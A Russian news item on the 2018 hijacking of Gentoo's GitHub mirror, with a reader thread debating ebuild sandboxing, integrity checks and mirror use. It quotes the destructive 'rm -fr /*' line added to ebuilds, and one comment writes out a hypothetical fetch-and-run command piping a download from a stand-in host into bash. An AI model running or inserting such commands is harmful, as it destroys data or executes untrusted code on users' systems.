28 июня приблизительно в 20:20 UTC неустановленные лица получили (https://www.gentoo.org/news/2018/06/28/Github-gentoo-org-hac...) контроль над GitHub инфраструктурой проекта Gentoo и изменили содержимое репозиториев и некоторых страниц. Разработчики и мейнтейнеры пока работают над определением масштаба внесённых изменений и над возвращением контроля на репозиториями. Один из коммитов, добавленный злоумышленниками, добавлял во все ебилды команду "rm -fr /*".
Весь код проекта, размещённый на GitHub, на данный момент может считаться скомпрометированным, но это не касается кода, размещённого на собственной инфраструктуре проекта Gentoo. GitHub использовался лишь для зеркалирования, а первичная разработка велась на собственных серверах, таким образом допускается использовать rsync или webrsync с gentoo.org. Все коммиты были подписаны, поэтому при использовании git следует обращать на эти подписи внимание.Утром (04:26 UTC) контроль за репозиториями Gentoo в GitHub был восстановлен и в настоящее время совместно с сотрудниками GitHub проводится разбор инцидента и восстановление данных. При этом использовать код Gentoo на GitHub всё ещё не рекомендуется.
URL: https://archives.gentoo.org/gentoo-announce/message/dc23d48d...
Новость: https://www.opennet.dev/opennews/art.shtml?num=48870
Стоило, значит, продаться, и вот...
https://www.opennet.dev/opennews/art.shtml?num=48715
Граждане храните свой код в gitlab кассе..., если конечно он у вас есть...
Где-то примерно так получается
Угу, можно подумать GitLab не взламывали.Граждане, храните ваш код на собственном сервре с какой-нибудь Gitea мордой!
gitlab можно и на свой сервер поставить
чтобы его там взломали
А мне BitBucket больше нравится
"У богатых свои причуды".
https://cdn.fishki.net/upload/post/2018/04/06/2561237/tn/4-0...
> Граждане храните свой код в gitlabСвой код храним в SVN. Сборка по трекингу коммитов в Redmine. Ничего не имею против GIT, но для совего кода, а не комьюнити, централизированный SVN однозначно надежней.
После известных событий, Github открыл охоту на опенсорс.
> во все ебилды команду "rm -fr /*"Ребята не мелочатся
Есть ничем не потверждённое мнение, что этот коммит сделан для отвода глаз, чтобы всё выглядело как баловство кали-детишек. А настоящая цель взлома запрятана куда хитрее.
Очень может даже быть
Я вот не понимаю это же гит, он и запушить то не даст если дерево хоть как то изменилось.
Ну и если этот репо просто зеркало, то неужели не достаточно diff с оригинальным репозиторием сделать, тогда точно все изменения отобразятся.
> Я вот не понимаюА ты попробуй пойми. Не всё лежит на поверхности. Ведь главное - это не статичная картина последствий, diff сделают, не волнуйся. А интервал компрометации сервера, когда зловредный код распространяется, вероятно, тразитом, на разный узлы.
Какир добавляет "wget -O - http://hack.all | bash" в код ебилдов. Какое-то количество хостов заражены и начинают творить дела. Какир ребейзит, заменяет wget-коммит на хулиганский "rm -rf", делает housekeeping на сервере, еще какие-нибудь манипуляции, и, вероятно, в репах не остается следов первоначальной деятельности.
Куча вариантов
> Какир ребейзит, заменяет wget-коммит на хулиганский "rm -rf", делает
> housekeeping на сервере, еще какие-нибудь манипуляции, и, вероятно,
> в репах не остается следов первоначальной деятельности.Сломав rebase -i и не сделав заранее старый добрый тарбол, засаживаюсь смотреть git reflog -- там следов есть.
Я тоже всегда ищу под фонарем. Там светлее.
reflog - это локальная штука, reflog какира посмотреть не получится
Зачем вообще diff делать, залейте по новому свежую ветку и всё!!!
Видимо есть желание не просто восстановить инфраструктуру, но и разобраться в причинах ситуации и в целях злоумышленников.
> Видимо есть желание не просто восстановить инфраструктуру, но и разобраться в причинах
> ситуации и в целях злоумышленников.Залить рабочую на гит, а копию повреждённой потом изучай.
> он и запушить то не даст если дерево хоть как то изменилосьНа жидхабе можно включить перезапись коммитов и сделать git push --force ;)
Да все ок там. Просто ради прикола пару echo добавили тут и там. Рекомендую загрузить и самим посмотреть через выполнение кода
Эта репа на гитхабе была исключительно для приёма pull-реквестов, причем PR-ы нельзя было мержить через гитхаб - изменения пропадали при следующем синке репы. :)PS. Правда помимо дерева ебилдов на аккаунте были еще какие-то репозитории, но навскидку даже не вспомню какие.
...и какая же?...
Там же подписи, ничего не спрячешь
точно микрософт!
линуксоиды не забыли бы добавить --no-preserve-root
--no-preserve-root не нужен при удалении всех файдов без самого корня (/*).
И это в ебилдах работает? Топорно, глупо и по-детски. Добавили бы хоть что-то вредное в цель. Может тогда у вредителей стала видна капля интелекта. А так - безумные вандалы.
Это сработает, если стоит nosandbox в make.conf, что не так по умолчанию, а так же если кто-то ставит ебилды ручками из-под рута "ebuild *.ebuild merge". В остальных случаях подобные ебилды тупо удалят старые файлы и не поставят ничего, либо вообще свалятся на стадии install с ошибкой sandbox violation. Даже нормальные ебилды порой поставить нельзя, если какой-то код хочет что-то прочитать из /.
Так что делал либо дилетант, либо наоборот знающий, но не желающий нанести реального вреда.
Тут смотря в какую фазу был добавлен rm -rf /. В фазах pkg_* (например pkg_postinst) оно бы сработало.
Эти ...гм... вставили первой строкой в каждый ебилд.
Тогда код по идее тоже должен выполниться от рута и без песочницы. Но надо проверять.
> Тогда код по идее тоже должен выполниться от рута и без песочницы.
> Но надо проверять.//очередное напоминание линуксойдам
как там доверие к репозиториям поживает? пакеты всё ещё правильно ставить от рута и запускать прост/пред-инстал скрипты?
>> Тогда код по идее тоже должен выполниться от рута и без песочницы.
>> Но надо проверять.
> //очередное напоминание линуксойдам
> как там доверие к репозиториям поживает? пакеты всё ещё правильно ставить от
> рута и запускать прост/пред-инстал скрипты?Но ведь репозитории как раз и не пострадали.
>>> Тогда код по идее тоже должен выполниться от рута и без песочницы.
>>> Но надо проверять.
>> //очередное напоминание линуксойдам
>> как там доверие к репозиториям поживает? пакеты всё ещё правильно ставить от
>> рута и запускать прост/пред-инстал скрипты?
> Но ведь репозитории как раз и не пострадали.везение или недосмотр?
>>> как там доверие к репозиториям поживает?
>> Но ведь репозитории как раз и не пострадали.
> везение или недосмотр?Непонимание разницы между первоисточником и зеркалом, соответственно и между их копрометацией. А везением это считать или недосмотром, разберитесь сами...
>>>> как там доверие к репозиториям поживает?
>>> Но ведь репозитории как раз и не пострадали.
>> везение или недосмотр?
> Непонимание разницы между первоисточником и зеркалом, соответственно и между их копрометацией.
> А везением это считать или недосмотром, разберитесь сами...тоесть то, что тому админу после поблочили учётки на всех серверах вы считаете перестраховкой и так как это было "всего лишь зеркало, да и вообще девелоперское" - первоисточники неприкосновенны?
>> Тогда код по идее тоже должен выполниться от рута и без песочницы.
>> Но надо проверять.
> //очередное напоминание линуксойдам
> как там доверие к репозиториям поживает? пакеты всё ещё правильно ставить от
> рута и запускать прост/пред-инстал скрипты?Ты умееешь ставить пакеты в / не от рута ? :))) Или у тебя пакеты=тарболлы?
> Ты умееешь ставить пакеты в / не от рута ? :))) Или у тебя пакеты=тарболлы?чисто из любопытства а зачем вам firefox в руте?
>> Ты умееешь ставить пакеты в / не от рута ? :))) Или у тебя пакеты=тарболлы?
> чисто из любопытства а зачем вам firefox в руте?nix например умеет ставить не в рут
но пока инструкция установки для линукса будет такая - какая разница куда ставятся пакеты???
wget https://dist.ipfs.io/go-ipfs/v0.4.13/go-ipfs_v0.4.13_linux-a...
tar xvf go-ipfs_v0.4.13_linux-amd64.tar.gz
cd go-ifps
sudo ./install.shзы: раздел "инсталяция на линукс":
Install prebuilt packages
We host prebuilt binaries over at our distributions page.From there:
Click the blue "Download go-ipfs" on the right side of the page.
Open/extract the archive.
Move ipfs to your path (install.sh can do it for you).From Linux package managers
Arch Linux
Nix
Snap//недоотправилось раньше
хотя бы банально для того, чтобы не каждый, вызвавший в нем remote code exec, мог заодно попатчить его бинарник (или скрипты), расположившись внутри всерьез и надолго.чисто из любопытства - зачем вам вообще какое-то разделение пользователей, если вы живете во времена ms-dos - "все в хомяк!" ?
> хотя бы банально для того, чтобы не каждый, вызвавший в нем remote
> code exec, мог заодно попатчить его бинарник (или скрипты), расположившись внутри
> всерьез и надолго.
> чисто из любопытства - зачем вам вообще какое-то разделение пользователей, если вы
> живете во времена ms-dos - "все в хомяк!" ?я не живу "всё в хомяк", и фокс от другого юзера
но в пакетной системе при установке точно скрипты запускать от рута не стоит, как и разворачивать пакет сразу на файловую систему без верификации чего он там поназапишет
Сатанизм какой-то. Оставьте нас в покое. У нас и так мало времени, еще и гитхаб восстанавливать.
Очередное напомниание о том, что "безопасность" - это не просто фантом. Мы не должны это забывать.Например, есть люди, говорящие, мол меня не парят уязвимости Spectre, у меня доверенные вычисления на сервере, мне нечего терять. Но это порочная практика. Никогда не знаешь, куда всё это выльется.
Еще, например, есть люди, умелые разработчики, которые до сих пор борятся с банальным ssh-доступом - вводят короткие пароли, использует одни и те же из них в разных хостах. Надо такое исправлять, и помогать, и наказывать.
Да куча примеров. Вплоть до хранения паролей в непроверенных приложениях на мобилках, которые с радостью все эти данные утаскивают непонятно куда.
Наоборот - надо чётко понимать, от чего именно прикрываешься, и использовать соответствующие меры. Иначе можно сразу компьютер разносить молотком (и сжечь для надёжности), чтобы уж точно ничего не утекло
> надо чётко понимать, от чего именно прикрываешьсяЭто да, +1
Затягивание гаек по безопасности там, где не требуется, наносит удар по этой безопасности.
Да, так мало времени, что в новости не стали указывать о блокировании аккаунтов? Это какой надо было получить доступ чтобы такие действия провести?
>это не касается кода, размещённого на собственной инфраструктуре проекта Gentoo.А пруф будет? Ведь если это перепивший админ или злоумышленник, завладевший паролем админа, напр. с помощью трояна, то он может и там навредить.
Админа, чей пароль утёк, уже установили и заблокировали.
некоторое время ебилдов не ждите
> некоторое время ебилдов не ждите
(насыпает Анониму горсть чувства юмора)
Нельзя не ждать ебилдов. В этом смысл жызни.
> Нельзя не ждать ебилдов. В этом смысл жызни.Мы не можем ждать ебилдов от мейнтейнеров. Написать их - наша задача. (В.И.Ленин)
Началось. Ждем ответного удара по ауру.
Кстати, я вчера с гитхаба обновлял ебилды существенно раньше 20:00 UTC, и прилетела неожиданно большая гора обновлений - что-то около 30 метров качало, 140000 объектов. Надо хоть глянуть, что ли...
Но в тот момент это не вызывало особых подозрений?
Вызвало, так что обновляться не стал, решил посмотреть поподробнее, когда будет время. А потом пришло письмо о взломе.
> Кстати, я вчера с гитхаба обновлял ебилды существенно раньше 20:00 UTC, и
> прилетела неожиданно большая гора обновлений - что-то около 30 метров качало,
> 140000 объектов. Надо хоть глянуть, что ли...Зачем ты обновлял ebuild'ы c репозитория для разработки? Он не предназначен для обновления с него.
Обновления ради разработки. Не?
> Обновления ради разработки. Не?Ты с них систему обновляешь? Не надо так делать. Этот реп не для обновления дерева.
Проверил - нет, не настолько плох, обновлялся с https://github.com/gentoo-mirror/gentoo - но тогда не особо понятно, откуда такой объём. Буду глядеть.
я пока на всякий случай на обновления через rsync вернулся,а насчёт многих обновлений, глянь, может это из-за того, что python_targets_python3_6 для кучи пакетов добавили
https://www.gentoo.org/news/2018/06/28/Github-gentoo-org-hac...тут ещё раз подтверждают, что gentoo-mirror не был подвержен аьаке
Насамом деле, мелкософт действительно хотел лишь помочь, но что-то пошло не так.
А получилось как всегда?
>А получилось как всегда?Да (загадочно подмигивая, опустив при этом голову).
там просто после rm -rf /* был запуск установщика 10-чки ...
Но setup.exe не запустился без wine
Жесть, вообще. Как раз читаю уже несколько дней Gentoo Handbook, собираюсь накатить на сервер с коллекцией моих фотографий и других файлов, накопленных за всю жизнь.
Вот где rm /* -rf натворило бы дел!
При установке gentoo по handbook скомпрометированные ебилды с жидхаба в систему бы не попали: жидхабовские репозитории при этом никак не используются.Но при установке по хендбуку есть более серьёзные проблемы: ебилды синхронизируются по незащищённому протоколу и без проверки целостности, что позволяет их незаметно подменять на любом зеркале. Разработчики давно в курсе, но молчат.
https://wiki.gentoo.org/wiki/Handbook_Talk:AMD64/Installatio...
> ебилды синхронизируются по незащищённому протоколу и без проверки целостностиЭто уже неактуальная информация. При синхронизации через rsync проверка целостности сейчас производится по умолчанию.
> При синхронизации через rsync проверка целостности сейчас производится по умолчанию.Каким образом? Только что распаковал последний стаж, там sys-apps/portage собран без флага rsync-verify, а gemato, gpg и публичные ключи репозиториев отсутствуют.
Проверка по умолчанию производилась с 2018-01-30 по 2018-03-13, после чего из-за выявленных проблем была отключена, см. eselect news list и https://bugs.gentoo.org/650144.
> Каким образом? Только что распаковал последний стаж, там sys-apps/portage собран без флага rsync-verify, а gemato, gpg и публичные ключи репозиториев отсутствуют.Ха! А стейджи действительно собраны без rsync-verify.
$ tar xOf stage3-amd64-20180624T214502Z.tar.xz ./var/db/pkg/sys-apps/portage-2.3.40-r1/USE
abi_x86_64 amd64 elibc_glibc ipc kernel_linux native-extensions python_targets_python2_7 python_targets_python3_5 userland_GNU xattr> Проверка по умолчанию производилась с 2018-01-30 по 2018-03-13, после чего из-за выявленных проблем была отключена, см. eselect news list и https://bugs.gentoo.org/650144.
Они её уже включили обратно, но стейджи почему-то до сих пор собирают без rsync-verify.
мы пятнадцать лет так собирали, и так раздавали, проверками озаботились вот, на днях - и ничего, вас это не беспокоило. Стоило откатить ненадолго неудачный патч - а-а-а, хулиганы байтиков лишают...или добавляют, не суть.
>> ебилды синхронизируются по незащищённому протоколу и без проверки целостности
> Это уже неактуальная информация. При синхронизации через rsync проверка целостности сейчас
> производится по умолчанию.Не синхронизируй их при установке ;)
>> ебилды синхронизируются по незащищённому протоколу и без проверки целостности
> Это уже неактуальная информация. При синхронизации через rsync проверка целостности сейчас
> производится по умолчанию.У меня она второй день при обновлении через rsync не проходит, обязательно для какого-то ebuild контрольная сумма не совпадёт. Но такое бывало и раньше изредка.
>>> ебилды синхронизируются по незащищённому протоколу и без проверки целостности
>> Это уже неактуальная информация. При синхронизации через rsync проверка целостности сейчас
>> производится по умолчанию.
> У меня она второй день при обновлении через rsync не проходит, обязательно
> для какого-то ebuild контрольная сумма не совпадёт. Но такое бывало и
> раньше изредка.Это бывает, когда напоролся на параллельное обновление. В таком случае надо повторить синхронизацию. Если же это не помогает - тогда разбираться!
Написано, что github использовался также для зеркалирования - это что имеется в виду?
Gentoo же при соответсвующей настройке может синхронизировать репозиторий не с главного сервера, а с одного из зеркал.В любом случае ещё не до конца понятен масштаб бедствия, если злоумышленник из бывших разработчиков, то и основные сервера могут иметь необнаруженные взломы.
> Написано, что github использовался также для зеркалирования - это что имеется в
> виду?Имеется ввиду, что данное зеркало предназначалось для разработчиков, в том числе для размещения там pull requests и их обсуждения. То есть пользователи не должны были обновляться именно с этого зеркала (оно не содержит Metadata с контрольными суммами архивов и самих ebuld'ов). Но некоторые зачем-то обновляются с него.
Для обновления через github обычно использовалось другое зеркало https://github.com/gentoo-mirror
> Gentoo же при соответсвующей настройке может синхронизировать репозиторий не с главного
> сервера, а с одного из зеркал.
> В любом случае ещё не до конца понятен масштаб бедствия, если злоумышленник
> из бывших разработчиков, то и основные сервера могут иметь необнаруженные взломы.Ходят слухи, что тот у кого увели аккаунт во всех инфраструктуре доступ заблокировали в данный момент.
Т.е. оно и было выбрано для добавления rm -rf /* из-за отсутствия контрольных сумм?
Понятно, спасибо за разъяснение!
Можно и контрольные суммы было б подменить, если б они там лежали, но пришлось бы для каждого подправленного ebuild их править или запускать repoman. С этого зеркало дерево на рабочих машинах не предполагается обновлять.То есть обычно с него тянут себе репозиторий для внесения изменений и закидывания их обратно для рассмотрения.
> Имеется ввиду, что данное зеркало предназначалось для разработчиков, в том числе для
> размещения там pull requests и их обсуждения. То есть пользователи не
> должны были обновляться именно с этого зеркала (оно не содержит Metadata
> с контрольными суммами архивов и самих ebuld'ов). Но некоторые зачем-то обновляются
> с него.Не для разработчиков, у девов есть коммит. Для юзеров, заместо багзиллы
>> Имеется ввиду, что данное зеркало предназначалось для разработчиков, в том числе для
>> размещения там pull requests и их обсуждения. То есть пользователи не
>> должны были обновляться именно с этого зеркала (оно не содержит Metadata
>> с контрольными суммами архивов и самих ebuld'ов). Но некоторые зачем-то обновляются
>> с него.
> Не для разработчиков, у девов есть коммит. Для юзеров, заместо багзиллыЧто есть? Девелоперы имеющие права коммитить в webgit.gentoo.org могут коммитить туда, но есть девелоперы без такого права и всё что им остаётся: отправлять коммиты письмами (или ebuild) или оставлять pull request на github.
> и всё что им остаётся: отправлять коммиты письмами (или ebuild) или оставлять pull request на github.сколько безысходности в этой фразе... а тут ещё PR на GH не отправишь... жесть какая...
> Жесть, вообще. Как раз читаю уже несколько дней Gentoo Handbook, собираюсь накатить
> на сервер с коллекцией моих фотографий и других файлов, накопленных за
> всю жизнь.
> Вот где rm /* -rf натворило бы дел!Не натворил бы: portage, емнип, не допускает запуска bash команд снаружи функций в ebuild-скриптах.
>> Жесть, вообще. Как раз читаю уже несколько дней Gentoo Handbook, собираюсь накатить
>> на сервер с коллекцией моих фотографий и других файлов, накопленных за
>> всю жизнь.
>> Вот где rm /* -rf натворило бы дел!
> Не натворил бы: portage, емнип, не допускает запуска bash команд снаружи функций
> в ebuild-скриптах.а тут говорят что допускает
https://www.opennet.dev/openforum/vsluhforumID3/114710.html#40
Вот поэтому я не доверяю новомодным дистрибутивам и мелкомягким. Вечно с ними куча проблем и никогда не поймешь кто виноват.
>новомодным дистрибутивамнебось лфс конпеляешь по ночам?
шлакваре - сказано же, новомодным не доверяет. Твой lfs, если верить викивракии, сляпали в 99м, то есть он всего на пол-года старше генты - олдовые сисадмины на такой модный шлак не ведутся.
А в новостях-то.. "киберпреступники", "хакеры" :) Но по исполнению похоже на обычную школоту. Кстати "взломали" тоже некорректно пока нет подробностей.
Иногда то, что лежит на поверхности - это только лишь то, что лежит на поверхности.
Там они(?) еще и на freenode прыгнули.
https://freenode.net/news/security-update-rpa
https://i.imgur.com/meklXMw.jpg
>rm -fr /*Видимо французы не любят Генту. Странно, думал они любители всяких извращений.
микрософт как никак
> микрософт как никакДа ладно, на первый раз же случайность ;-) Совпадение и закономерность -- два последующих этапа.
> "rm -fr /*"ничего не произойдёт.
в генту ебилды и сборка выполняются в chroot и sandbox'е специально на такие случаи. а то запилит какой-нибудь вася rm -rf в свой make
Подробности компроментации не всплыли?